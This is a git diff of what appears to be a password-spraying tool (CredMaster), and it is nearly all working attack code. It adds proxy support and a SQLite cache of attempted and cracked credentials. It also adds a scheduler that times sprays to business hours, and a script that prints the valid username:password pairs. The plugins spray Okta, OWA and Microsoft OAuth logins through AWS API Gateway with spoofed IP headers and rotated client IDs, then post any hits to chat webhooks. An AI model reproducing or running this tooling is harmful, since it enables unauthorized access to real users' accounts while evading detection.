output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/okta/okta.py b/plugins/okta/okta.py index 710ae3a..5e4c255 100644 --- a/plugins/okta/okta.py +++ b/plugins/okta/okta.py @@ -30,7 +30,7 @@ def okta_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/api/v1/authn/",data=raw_body,headers=headers) + resp = requests.post(f"{url}/api/v1/authn/",data=raw_body,headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200: resp_json = json.loads(resp.text) diff --git a/plugins/owa/__init__.py b/plugins/owa/__init__.py index 7001927..37c71bc 100644 --- a/plugins/owa/__init__.py +++ b/plugins/owa/__init__.py @@ -30,7 +30,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(url, headers=headers, verify=False) + resp = requests.get(url, headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/owa/owa.py b/plugins/owa/owa.py index 1305571..ea4683d 100644 --- a/plugins/owa/owa.py +++ b/plugins/owa/owa.py @@ -30,7 +30,7 @@ def owa_authenticate(url, username, password, useragent, pluginargs): try: - resp = requests.get(f"{url}/autodiscover/autodiscover.xml", headers=headers, auth=HttpNtlmAuth(username, password), verify=False) + resp = requests.get(f"{url}/autodiscover/autodiscover.xml", headers=headers, auth=HttpNtlmAuth(username, password), verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200: data_response['output'] = f"[+] SUCCESS: Found credentials: {username}:{password}" diff --git a/plugins/template/MS_Template/__init__.py b/plugins/template/MS_Template/__init__.py index 26ec7f0..8f9ce6c 100644 --- a/plugins/template/MS_Template/__init__.py +++ b/plugins/template/MS_Template/__init__.py @@ -20,7 +20,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/template/MS_Template/template.py b/plugins/template/MS_Template/template.py index 5636aba..ccb4f0a 100644 --- a/plugins/template/MS_Template/template.py +++ b/plugins/template/MS_Template/template.py @@ -57,7 +57,7 @@ def template_authenticate(url, username, password, useragent, pluginargs): # TOD # TODO: change this as needed for your attack try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/template/__init__.py b/plugins/template/__init__.py index 3e2e719..59b3273 100644 --- a/plugins/template/__init__.py +++ b/plugins/template/__init__.py @@ -36,7 +36,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/template/template.py b/plugins/template/template.py index f28487f..dead3c2 100644 --- a/plugins/template/template.py +++ b/plugins/template/template.py @@ -12,7 +12,7 @@ def template_authenticate(url, username, password, useragent, pluginargs): # CHA # success # valid_user data_response = { - 'result' : None, # Can be "success", "failure" or "potential" + 'result' : None, # Can be "success" (credentials are valid), "failure" (credentials are invalid), "potential" (credentials may be valid but not 100% sure) or "inexistant" (user does not exist) 'error' : False, 'output' : "", 'valid_user' : False @@ -34,7 +34,7 @@ def template_authenticate(url, username, password, useragent, pluginargs): # CHA try: - resp = requests.post(f"{url}/uri",headers=headers) + resp = requests.post(f"{url}/uri",headers=headers, verify=False, proxies=pluginargs["proxy"]) if Success: data_response['result'] = "success" diff --git a/plugins/test/__init__.py b/plugins/test/__init__.py new file mode 100644 index 0000000..5ca737a --- /dev/null +++ b/plugins/test/__init__.py @@ -0,0 +1,34 @@ +import requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + +def validate(pluginargs, args): + if "url" in pluginargs.keys(): + return True, None, pluginargs + else: + error = "Missing url argument, specify as --url https://adfs.domain.com" + return False, error, None + + +def testconnect(pluginargs, args, api_dict, useragent): + + success = True + headers = { + 'User-Agent' : useragent, + "X-My-X-Forwarded-For" : utils.generate_ip(), + "x-amzn-apigateway-api-id" : utils.generate_id(), + "X-My-X-Amzn-Trace-Id" : utils.generate_trace_id(), + } + + headers = utils.add_custom_headers(pluginargs, headers) + + resp = requests.get(api_dict['proxy_url'] + '/check', headers=headers, verify=False, proxies=pluginargs["proxy"]) + + if resp.status_code == 504: + output = "Testconnect: Connection failed, endpoint timed out, exiting" + success = False + else: + output = "Testconnect: Connection success, continuing" + + return success, output, pluginargs diff --git a/plugins/test/test.py b/plugins/test/test.py new file mode 100644 index 0000000..e3dc267 --- /dev/null +++ b/plugins/test/test.py @@ -0,0 +1,73 @@ +import requests, random +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + +def test_authenticate(url, username, password, useragent, pluginargs): + + data_response = { + 'result' : None, # Can be "success", "failure" or "potential" + 'error' : False, + 'output' : "", + 'valid_user' : False + } + + client_ids = [ + "4345a7b9-9a63-4910-a426-35363201d503", # alternate client_id taken from Optiv's Go365 + "1b730954-1685-4b74-9bfd-dac224a7b894", + "0a7bdc5c-7b57-40be-9939-d4c5fc7cd417", + "1950a258-227b-4e31-a9cf-717495945fc2", + "00000002-0000-0000-c000-000000000000", + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1", + "30cad7ca-797c-4dba-81f6-8b01f6371013" + ] + client_id = random.choice(client_ids) + + body = { + 'resource' : 'https://graph.windows.net', + 'client_id' : client_id, + 'client_info' : '1', + 'grant_type' : 'password', + 'username' : username, + 'password' : password, + 'scope' : 'openid', + } + + spoofed_ip = utils.generate_ip() + amazon_id = utils.generate_id() + trace_id = utils.generate_trace_id() + + headers = { + "X-My-X-Forwarded-For" : spoofed_ip, + "x-amzn-apigateway-api-id" : amazon_id, + "X-My-X-Amzn-Trace-Id" : trace_id, + "User-Agent" : useragent, + + 'Accept' : 'application/json', + 'Content-Type' : 'application/x-www-form-urlencoded' + } + + headers = utils.add_custom_headers(pluginargs, headers) + + try: + resp = requests.get(f"{url}/login", headers=headers, params={"username": username, "password": password}, verify=False, proxies=pluginargs["proxy"]) + + if resp.status_code == 200 and "Greeting" in resp.text: + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS: {username}:{password}" + data_response['valid_user'] = True + elif resp.status_code == 200 and "is invalid" in resp.text: + data_response['result'] = "inexistant" + data_response['output'] = f"[-] User {username} does not exist" + data_response['valid_user'] = False + else: + data_response['result'] = "failure" + data_response['output'] = f"[-] FAIL: {username}:{password}" + data_response['valid_user'] = False + + except Exception as ex: + data_response['error'] = True + data_response['output'] = ex + pass + + return data_response diff --git a/query_cache.py b/query_cache.py new file mode 100644 index 0000000..a897da3 --- /dev/null +++ b/query_cache.py @@ -0,0 +1,24 @@ +import os, argparse, sqlite3 + +def get_successes(cache_file): + conn = sqlite3.connect(cache_file) + cursor = conn.cursor() + cursor.execute('SELECT username, password FROM cache WHERE result = 0') + recs = cursor.fetchall() + if len(recs) == 0: + return None + return recs + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("-f", "--file", type=str, default="credmaster-cache.db", help="Path of the credmaster cache file") + args = parser.parse_args() + + successes = get_successes(args.file) + if successes is None: + print("No successes for now, come back later...") + else: + print(f"{len(successes)} successes for now!") + print("") + for u,p in successes: + print(f"{u}:{p}") diff --git a/requirements.txt b/requirements.txt index bab23f8..74588e4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,4 +5,4 @@ bs4 lxml datetime requests_ntlm -discordwebhook \ No newline at end of file +db-sqlite3 \ No newline at end of file diff --git a/tests/README.md b/tests/README.md new file mode 100644 index 0000000..dcb7cbd --- /dev/null +++ b/tests/README.md @@ -0,0 +1,5 @@ +# Test Web Server + +This python script sets up a server simulating au authentication portal, and works in conjunction with the "test" plugin. + +In order to make the "test" plugin work, you should put the public IP of the server where this script is run in the `plugins/test/__init__.py` file, and then use this plugin. \ No newline at end of file diff --git a/tests/app.py b/tests/app.py new file mode 100644 index 0000000..051dae8 --- /dev/null +++ b/tests/app.py @@ -0,0 +1,59 @@ +from http.server import BaseHTTPRequestHandler, HTTPServer +import sys +from urllib.parse import urlparse, parse_qs + + +USERS = [ + ("user1@corp.local", "user1!"), + ("user2@corp.local", "Uz3r2@"), + ("user1@other.local", "otherPassword") + ] + +class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): + def do_GET(self): + # Set response headers + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + + # Check the path and respond accordingly + if self.path == '/check': + self.wfile.write(b'Endpoint /check reached!') + elif self.path.startswith('/login'): + # Parse the URL parameters + params = parse_qs(urlparse(self.path).query) + + # Check if both 'username' and 'password' parameters are present + if 'username' in params and 'password' in params: + username = params['username'][0] + password = params['password'][0] + if (username, password) in USERS: + response = f'Greetings, {username}!' + elif not username in [x[0] for x in USERS]: + response = f'Password is invalid' + else: + response = 'Nope' + self.wfile.write(response.encode('utf-8')) + else: + self.wfile.write(b'Missing username or password parameters!') + else: + self.wfile.write(b'Hello, this is a simple server!') + +if __name__ == '__main__': + port = 28514 + try: + if len(sys.argv) == 2: + port = int(sys.argv[1]) + assert port > 1024 and port < 65535 + except: + pass + # Specify the server address and port + server_address = ('0.0.0.0', port) + + # Create an HTTP server with the specified handler + httpd = HTTPServer(server_address, SimpleHTTPRequestHandler) + + print(f'Server is running on http://0.0.0.0:{port}') + + # Start the server + httpd.serve_forever() diff --git a/utils/cache.py b/utils/cache.py new file mode 100644 index 0000000..88cf768 --- /dev/null +++ b/utils/cache.py @@ -0,0 +1,99 @@ +import os, threading, sqlite3, sys + +from datetime import datetime + +class Cache(object): + RESULT_SUCCESS=0 + RESULT_POTENTIAL=1 + RESULT_FAILURE=2 + RESULT_INEXISTANT=3 + TRANSLATE = {"success": RESULT_SUCCESS, "potential": RESULT_POTENTIAL, "failure": RESULT_FAILURE, "inexistant": RESULT_INEXISTANT} + TRANSLATE_INV = {RESULT_SUCCESS : "success", RESULT_POTENTIAL: "potential", RESULT_FAILURE: "failure"} + + + def __init__(self, cache_file='credmaster-cache.db'): + self.lock = threading.Lock() + self.cache_file = cache_file + if os.path.exists(self.cache_file) and not os.path.isfile(self.cache_file): + print(f"The cache path ({self.cache_file}) already exists and is not a file. Aborting") + exit(1) + + conn = None + try: + conn = sqlite3.connect(self.cache_file) + except: + print("The cache file cannot be loaded by SQLite ! Aborting", file=sys.stderr) + sys.exit(1) + + # result = {0: success, 1: potential, 2: failure, 3: user_does_not_exist} + + conn.cursor().execute(''' + CREATE TABLE IF NOT EXISTS cache ( + id INTEGER PRIMARY KEY, + username TEXT NOT NULL, + password TEXT NOT NULL, + result INTEGER NOT NULL, + output TEXT NOT NULL, + plugin TEXT NOT NULL, + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL + ) + ''') + conn.commit() + + self.cache = [] + recs = conn.cursor().execute('SELECT * from cache').fetchall() + for data in recs: + self.cache.append({ + "username": data[1], + "password": data[2], + "result": data[3], + "output": data[4], + "plugin": data[5], + "timestamp": data[6] + }) + + def get_cursor(self): + conn = sqlite3.connect(self.cache_file) + return conn.cursor() + + def add_tentative(self, username, password, result, output, plugin, cursor=None): + if cursor == None: + conn = sqlite3.connect(self.cache_file) + cursor = conn.cursor() + self.lock.acquire() + cursor.execute('INSERT INTO cache (username, password, result, output, plugin) VALUES (?, ?, ?, ?, ?)', (username, password, result, output, plugin)) + conn.commit() + self.cache.append({ + "username": username, + "password": password, + "result": result, + "output": output, + "plugin": plugin, + "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S") + }) + self.lock.release() + + def user_exists(self, username, plugin=None): + tries = [] + for data in self.cache: + if (plugin == None or data["plugin"] == plugin) and data["username"] == username and data["result"] == Cache.RESULT_INEXISTANT: + tries.append(data) + return len(tries) == 0 + + def user_success(self, username, plugin=None): + tries = [] + for data in self.cache: + if (plugin == None or data["plugin"] == plugin) and data["username"] == username and data["result"] == Cache.RESULT_SUCCESS: + tries.append(data) + if len(tries) > 0: + return True, tries[0]["password"] + return False, None + + def query_creds(self, username, password, plugin=None): + tries = [] + for data in self.cache: + if (plugin == None or data["plugin"] == plugin) and data["username"] == username and data["password"] == password: + tries.append(data) + if len(tries) > 0: + return tries[0] + return None \ No newline at end of file diff --git a/utils/credentials_pool.py b/utils/credentials_pool.py new file mode 100644 index 0000000..f72b4e8 --- /dev/null +++ b/utils/credentials_pool.py @@ -0,0 +1,395 @@ +import sys, time, threading, random, datetime +from utils.cache import Cache +from queue import SimpleQueue + + +class User: + def __init__(self, username, passwords = None): + self.username = username + self.duplicates_set = set() + self.domain = CredentialsPool.get_user_domain(self.username) + if type(passwords) == list: + for p in passwords: + if not p in self.duplicates_set: + self.passwords.put(p) + self.duplicates_set.add(p) + elif type(passwords) == SimpleQueue: + self.passwords = passwords + else: + self.passwords = SimpleQueue() + + def add_password(self, p): + if not p in self.duplicates_set: + self.passwords.put(p) + self.duplicates_set.add(p) + + def add_passwords(self, L): + for p in L: + if not p in self.duplicates_set: + self.passwords.put(p) + self.duplicates_set.add(p) + + def get_next_password(self): + if self.passwords.empty(): + return None + p = None + try: + p = self.passwords.get_nowait() + finally: + return p + + @property + def priority(self): + return self.passwords.qsize() + + def __gt__(self, other): + return self.priority > other.priority + + def __lt__(self, other): + return self.priority < other.priority + + def __ge__(self, other): + return self.priority >= other.priority + + def __le__(self, other): + return self.priority <= other.priority + + def __eq__(self, other): + return self.username == other.username + + def __hash__(self): + return hash(self.username) + + def __repr__(self): + ret = self.username + ":\n" + l = self.passwords.qsize() + for _ in range(l): + p = self.passwords.get() + ret += " "*4 + p + "\n" + self.passwords.put(p) + return ret + + def __str__(self): + return self.__repr__() + + +class CredentialsPool: + + DELAY_INTERVALS = 2 + + @staticmethod + def ww_calc_next_spray_delay(offset): + spray_times = [8,12,14] # launch sprays at 7AM, 11AM and 3PM (please do not put 11PM in there) + + now = datetime.datetime.now(datetime.UTC) + datetime.timedelta(hours=offset) + hour_cur = int(now.strftime("%H")) + minutes_cur = int(now.strftime("%M")) + day_cur = int(now.weekday()) + + delay = 0 + + # if just after the spray hour, use this time as the start and go + if hour_cur in spray_times and day_cur <= 4: + delay = 0 + return delay + + next = [] + + # if it's Friday and it's after the last spray period + if (day_cur == 4 and hour_cur > spray_times[-1]) or day_cur > 4: + next = [0,0] + elif hour_cur > spray_times[-1]: + next = [day_cur+1, 0] + else: + for i in range(0,len(spray_times)): + if spray_times[i] > hour_cur: + next = [day_cur, i] + break + + day_next = next[0] + hour_next = spray_times[next[1]] + + if next == [0,0]: + day_next = 7 + + hd = hour_next - hour_cur + md = 0 - minutes_cur + if day_next == day_cur: + delay = hd*60 + md + else: + dd = day_next - day_cur + delay = dd*24*60 + hd*60 + md + + return delay*60 + + @staticmethod + def get_user_domain(u): + return u.split("@")[-1] + + def cancellable_sleep(self, sec): + # print("Starting sleep for", sec) + delay_total = sec + delay_turns = round(delay_total // CredentialsPool.DELAY_INTERVALS) + for _ in range(delay_turns): + if self.cancelled or len(self.pool.keys()) == 0: + return + time.sleep(CredentialsPool.DELAY_INTERVALS) + if self.cancelled or len(self.pool.keys()) == 0: + return + time.sleep(delay_total % CredentialsPool.DELAY_INTERVALS) + + def __init__(self, users=set(), passwords={"default":set()}, userpass=[], useragents=None, delays={"var": 1, "req":1, "batch": 0, "domain":10, "user":100}, batch_size=1, weekday_warrior=None, cache=None, plugin=None, logger_entry=None, logger_success=None, signal_success=print): + self.users = users + self.passwords = passwords + self.userpass = userpass + self.useragents = useragents + self.delays = delays + self.batch_size = batch_size + self.batch_count = 0 + self.cache = cache + self.plugin = plugin + self.logger_entry = logger_entry + self.logger_success = logger_success + self.signal_success = signal_success + self.weekday_warrior = weekday_warrior + self.get_creds_lock = threading.Lock() + self.cancelled = False + self.attempts_total = 0 + self.attempts_count = 0 + self.attempts_trimmed = 0 + + for delay_type in ['var', 'req', 'batch', 'domain', 'user']: + if not delay_type in self.delays.keys() or self.delays[delay_type] is None: + self.delays[delay_type] = 0 + + self.ready = {"users": dict(), "domains": set()} + # self.ready + # ├── "domains" + # │   └── set:[domain] + # └── "users" + # └── set:[domain] + # └── set:[User] + self.pool = dict() + # self.pool + # └── User + + self.cache = cache + if self.cache is None: + self.cache = Cache() + + if self.delays["batch"] is None: + self.delays["batch"] = 0 + if self.batch_size is None: + self.batch_size = 0 + + for u,p in self.userpass: + if not self.cache.user_exists(u, plugin=self.plugin): + logger_entry.info(f"Took from cache : {u} - [-] USER DOES NOT EXIST") + continue + # if the user is not in the pool + if not u in self.pool.keys(): + self.pool[u] = User(u) + d = CredentialsPool.get_user_domain(u) + # set the domain in the "ready" state + if not d in self.ready["domains"]: + self.ready["domains"].add(d) + # set the user in the "ready" state + if not d in self.ready["users"].keys(): + self.ready["users"][d] = set() + self.ready["users"][d].add(u) + + user_success, password_success = self.cache.user_success(u, plugin=self.plugin) + if user_success: + logger_entry.info(f"Took from cache 1 : {u}:{password_success} - [+] SUCCESS !") + logger_success.info(f"{u}:{password_success}") + signal_success(u, password_success) + else: + crd = self.cache.query_creds(u, p, plugin=self.plugin) + if crd is None: + # print("Adding 1", f"{u}:{p}") + self.pool[u].add_password(p) + else: + if crd['result'] == Cache.RESULT_SUCCESS: + # Should not happen but meh + logger_entry.info(f"Took from cache: {u}:{p} - [+] SUCCESS !") + logger_success.info(f"{u}:{p}") + signal_success(u, p) + else: + logger_entry.info(f"Took from cache: {u}:{p} - {Cache.TRANSLATE_INV[crd['result']]}, {crd['output']}") + + for u in self.users: + if not self.cache.user_exists(u, plugin=self.plugin): + logger_entry.info(f"Took from cache : {u} - [-] USER DOES NOT EXIST") + continue + passes = self.passwords["default"] + d = CredentialsPool.get_user_domain(u) + if d in self.passwords.keys(): + passes = self.passwords[d] + self.passwords["default"] + + if not u in self.pool.keys(): + self.pool[u] = User(u) + + # set the domain in the "ready" state + if not d in self.ready["domains"]: + self.ready["domains"].add(d) + # set the user in the "ready" state + if not d in self.ready["users"].keys(): + self.ready["users"][d] = set() + self.ready["users"][d].add(u) + + user_success, password_success = self.cache.user_success(u, plugin=self.plugin) + if user_success: + logger_entry.info(f"Took from cache 4 : {u}:{password_success} - [+] SUCCESS !") + logger_success.info(f"{u}:{password_success}") + signal_success(u, password_success) + self.trim_user(u) + else: + for p in passes: + crd = self.cache.query_creds(u, p, plugin=self.plugin) + if crd is None: + # print("Adding 2", f"{u}:{p}") + self.pool[u].add_password(p) + else: + if crd['result'] == Cache.RESULT_SUCCESS: + # Should not happen, but meh + logger_entry.info(f"Took from cache: {u}:{p} - [+] SUCCESS !") + logger_success.info(f"{u}:{p}") + signal_success(u, p) + else: + logger_entry.info(f"Took from cache: {u}:{p} - {Cache.TRANSLATE_INV[crd['result']]}, {crd['output']}") + # RAM optimization + if u in self.pool.keys(): + del self.pool[u].duplicates_set + + # Count the total attempts for stats + for u in self.pool.keys(): + self.attempts_total += self.pool[u].passwords.qsize() + + self.logger_entry.debug("POOL IS :") + self.logger_entry.debug("".join([str(self.pool[u]) for u in self.pool])) + + def apply_delays(self, user): + if self.cancelled or len(self.pool.keys()) == 0: + return + d = CredentialsPool.get_user_domain(user) + thread_request = threading.Thread(target=self.per_request_delay_thread) + thread_user = threading.Thread(target=self.delay_thread, args=("user", user)) + thread_domain = threading.Thread(target=self.delay_thread, args=("domain", user)) + thread_request.start() + thread_user.start() + thread_domain.start() + + def delay_thread(self, type, user): + if self.cancelled or len(self.pool.keys()) == 0: + return + sleep_time = self.delays[type] + random.random()*self.delays["var"] + # self.logger_entry.debug(f"Sleeping for {sleep_time} seconds ({type} delay)") + self.cancellable_sleep(sleep_time) + d = CredentialsPool.get_user_domain(user) + if type == "domain": + self.ready["domains"].add(d) + elif type == "user" and user in self.pool.keys() and not self.pool[user].passwords.empty(): + self.ready["users"][d].add(user) + + def per_request_delay_thread(self): + if len(self.pool.keys()) == 0 or self.cancelled: + return + if self.batch_size is not None and self.batch_size > 0: + self.batch_count += 1 + if self.batch_count >= self.batch_size: + self.batch_count = 0 + sleep_time = self.delays["batch"] + random.random()*self.delays["var"] + self.logger_entry.debug(f"Sleeping {sleep_time} s because end of batch") + self.cancellable_sleep(sleep_time) + delay = self.delays["req"] + random.random()*self.delays["var"] + # self.logger_entry.debug(f"Sleeping {delay} s between creds") + self.cancellable_sleep(delay) + + if self.weekday_warrior is not None: + delay = CredentialsPool.ww_calc_next_spray_delay(self.weekday_warrior) + if delay > 0: + next_time = datetime.datetime.utcnow() + datetime.timedelta(hours=self.weekday_warrior) + datetime.timedelta(seconds=delay) + self.logger_entry.info(f"Sleeping until {str(next_time)} (ie. {delay} seconds) because of weekday warrior") + self.cancellable_sleep(delay) + try: + # self.logger_entry.debug("Releasing lock") + self.get_creds_lock.release() + except Exception as ex: + if 'unlocked lock' in str(ex): + pass + else: + self.logger_entry.debug(f"EXCEPTION: {ex}") + + def get_creds(self): + self.get_creds_lock.acquire() + user_found = False + while not user_found and len(self.pool.keys()) > 0 and not self.cancelled: + username = "" + candidate_found = False + while not candidate_found and len(self.pool.keys()) > 0 and not self.cancelled: + for d in list(self.ready["domains"]): + ready_users = [self.pool[u] for u in self.ready["users"][d]] + if len(ready_users) > 0: + candidate_found = True + # get the user with the most passwords left to try + candidate = max(ready_users) + if username != "": + candidate = max(candidate, self.pool[username]) + username = candidate.username + if not candidate_found and not self.cancelled: + # self.logger_entry.debug("No candidate, sleeping") + # self.logger_entry.debug(self.ready) + time.sleep(5) + if self.cancelled: + try: + # self.logger_entry.debug("Releasing lock") + self.get_creds_lock.release() + except Exception as ex: + if 'unlocked lock' in str(ex): + pass + else: + self.logger_entry.debug(f"EXCEPTION3: {ex}") + return None + if username in self.pool.keys() and not self.pool[username].passwords.empty(): + user_found = True + elif username in self.pool.keys(): + del self.pool[username] + d = CredentialsPool.get_user_domain(username) + self.ready["users"][d].remove(username) + if user_found: + self.ready["domains"].remove(CredentialsPool.get_user_domain(username)) + + if self.cancelled or (not user_found and len(self.pool.keys()) == 0): + # print("Releasing creds lock") + try: + # self.logger_entry.debug("Releasing lock") + self.get_creds_lock.release() + except Exception as ex: + if 'unlocked lock' in str(ex): + pass + else: + self.logger_entry.debug(f"EXCEPTION2: {ex}") + return None + + password = self.pool[username].get_next_password() + if self.pool[username].passwords.empty(): + del self.pool[username] + + self.apply_delays(username) + self.attempts_count += 1 + return {"username": username, "password": password, "useragent": random.choice(list(self.useragents))} + + def trim_user(self, username): + self.logger_entry.debug(f"Trimming {username}") + if username in self.pool.keys(): + self.attempts_trimmed += self.pool[username].passwords.qsize() + del self.pool[username] + d = CredentialsPool.get_user_domain(username) + if d in self.ready["users"].keys() and username in self.ready["users"][d]: + self.ready["users"][d].remove(username) + + def creds_left(self): + for u in self.pool.keys(): + if not self.pool[u].passwords.empty(): + return True + return False diff --git a/utils/fire.py b/utils/fire.py index 9a40f2e..6937b06 100644 --- a/utils/fire.py +++ b/utils/fire.py @@ -8,6 +8,7 @@ import argparse import configparser from typing import Tuple +import urllib.parse class FireProx(object): @@ -20,6 +21,8 @@ def __init__(self, arguments, help_text): self.command = arguments["command"] self.api_id = arguments["api_id"] self.url = arguments["url"] + self.prefix = arguments["prefix"] + self.proxy = arguments["proxy"] self.client = None self.help = help_text @@ -45,13 +48,13 @@ def _try_instance_profile(self) -> bool: if not self.region: self.client = boto3.client( 'apigateway', - config=Config(retries = dict(max_attempts = 10)) + config=Config(retries = dict(max_attempts = 10), proxies=self.proxy) ) else: self.client = boto3.client( 'apigateway', region_name=self.region, - config=Config(retries = dict(max_attempts = 10)) + config=Config(retries = dict(max_attempts = 10), proxies=self.proxy) ) self.client.get_account() self.region = self.client._client_config.region_name @@ -80,7 +83,7 @@ def load_creds(self) -> bool: return False self.region = config[config_profile_section].get('region', 'us-east-1') try: - self.client = boto3.session.Session(profile_name=self.profile_name).client('apigateway', config=Config(retries = dict(max_attempts = 10))) + self.client = boto3.session.Session(profile_name=self.profile_name).client('apigateway', config=Config(retries = dict(max_attempts = 10), proxies=self.proxy)) self.client.get_account() return True except: @@ -94,7 +97,7 @@ def load_creds(self) -> bool: aws_secret_access_key=self.secret_access_key, aws_session_token=self.session_token, region_name=self.region, - config=Config(retries = dict(max_attempts = 10)) + config=Config(retries = dict(max_attempts = 10), proxies=self.proxy) ) self.client.get_account() self.region = self.client._client_config.region_name @@ -130,7 +133,8 @@ def get_template(self): if url[-1] == '/': url = url[:-1] - title = 'fireprox_{}'.format( + title = '{}_{}'.format( + self.prefix, tldextract.extract(url).domain ) version_date = f'{datetime.datetime.now():%Y-%m-%dT%XZ}' @@ -334,7 +338,7 @@ def list_api(self, deleted_api_id=None, deleting = False): api_id = item['id'] name = item['name'] proxy_url = self.get_integration(api_id).replace('{proxy}', '') - url = f'https://{api_id}.execute-api.{self.region}.amazonaws.com/fireprox/' + url = f'https://{api_id}.execute-api.{self.region}.amazonaws.com/{urllib.parse.quote(self.prefix, safe="")}/' # if not deleting: #not api_id == deleted_api_id: # print(f'[{created_dt}] ({api_id}) {name}: {url} => {proxy_url}') except: @@ -355,13 +359,13 @@ def create_deployment(self, api_id): response = self.client.create_deployment( restApiId=api_id, - stageName='fireprox', - stageDescription='FireProx Prod', - description='FireProx Production Deployment' + stageName=self.prefix, + stageDescription=f'{self.prefix} Prod', + description=f'{self.prefix} Production Deployment' ) resource_id = response['id'] return (resource_id, - f'https://{api_id}.execute-api.{self.region}.amazonaws.com/fireprox/') + f'https://{api_id}.execute-api.{self.region}.amazonaws.com/{self.prefix}/') def get_resource(self, api_id): if not api_id: diff --git a/utils/notify.py b/utils/notify.py index fd42e28..d35f6b9 100644 --- a/utils/notify.py +++ b/utils/notify.py @@ -1,9 +1,15 @@ -import requests, json +import requests, json, sys from datetime import datetime -from discordwebhook import Discord +try: + from discordwebhook import Discord +except ImportError: + _has_discord = False +else: + _has_discord = True -def notify_success(username, password, notify_obj): + +def notify_success(username, password, notify_obj, proxy_notif): slack_webhook = notify_obj['slack_webhook'] discord_webhook = notify_obj['discord_webhook'] @@ -18,25 +24,25 @@ def notify_success(username, password, notify_obj): exclude_password = notify_obj['exclude_password'] if slack_webhook is not None: - slack_notify(username, password, operator, exclude_password, slack_webhook) + slack_notify(username, password, operator, exclude_password, slack_webhook, proxy_notif) if pushover_token is not None and pushover_user is not None: - pushover_notify(username, password, operator, exclude_password, pushover_token, pushover_user) + pushover_notify(username, password, operator, exclude_password, pushover_token, pushover_user, proxy_notif) if ntfy_topic is not None and ntfy_host is not None: - ntfy_notify(username, password, operator, exclude_password, ntfy_topic, ntfy_host, ntfy_token) + ntfy_notify(username, password, operator, exclude_password, ntfy_topic, ntfy_host, ntfy_token, proxy_notif) if discord_webhook is not None: - discord_notify(username, password, operator, exclude_password, discord_webhook) + discord_notify(username, password, operator, exclude_password, discord_webhook, proxy_notif) if teams_webhook is not None: - teams_notify(username, password, operator, exclude_password, teams_webhook) + teams_notify(username, password, operator, exclude_password, teams_webhook, proxy_notif) if keybase_webhook is not None: - keybase_notify(username, password, operator, exclude_password, keybase_webhook) + keybase_notify(username, password, operator, exclude_password, keybase_webhook, proxy_notif) -def notify_update(message, notify_obj): +def notify_update(message, notify_obj, proxy_notif): slack_webhook = notify_obj['slack_webhook'] discord_webhook = notify_obj['discord_webhook'] @@ -50,26 +56,26 @@ def notify_update(message, notify_obj): operator = notify_obj['operator_id'] if slack_webhook is not None: - slack_update(message, operator, slack_webhook) + slack_update(message, operator, slack_webhook, proxy_notif) if pushover_token is not None and pushover_user is not None: - pushover_update(message, operator, pushover_token, pushover_user) + pushover_update(message, operator, pushover_token, pushover_user, proxy_notif) if ntfy_topic is not None and ntfy_host is not None: - ntfy_update(message, operator, ntfy_topic, ntfy_host, ntfy_token) + ntfy_update(message, operator, ntfy_topic, ntfy_host, ntfy_token, proxy_notif) if discord_webhook is not None: - discord_update(message, operator, discord_webhook) + discord_update(message, operator, discord_webhook, proxy_notif) if teams_webhook is not None: - teams_update(message, operator, teams_webhook) + teams_update(message, operator, teams_webhook, proxy_notif) if keybase_webhook is not None: - keybase_update(message, operator, keybase_webhook) + keybase_update(message, operator, keybase_webhook, proxy_notif) # Function for posting username/password to keybase channel -def keybase_notify(username, password, operator, exclude_password, webhook): +def keybase_notify(username, password, operator, exclude_password, webhook, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -96,12 +102,13 @@ def keybase_notify(username, password, operator, exclude_password, webhook): response = requests.post( webhook, data=json.dumps(message), - headers={'Content-Type': 'application/json'} + headers={'Content-Type': 'application/json'}, + proxies=proxy_notif ) # Function for debug messages -def keybase_update(message, operator, webhook): +def keybase_update(message, operator, webhook, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -122,13 +129,14 @@ def keybase_update(message, operator, webhook): } response = requests.post( webhook, data=json.dumps(message), - headers={'Content-Type': 'application/json'} + headers={'Content-Type': 'application/json'}, + proxies=proxy_notif ) # Function for posting username/password to slack channel -def slack_notify(username, password, operator, exclude_password, webhook): +def slack_notify(username, password, operator, exclude_password, webhook, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -155,12 +163,13 @@ def slack_notify(username, password, operator, 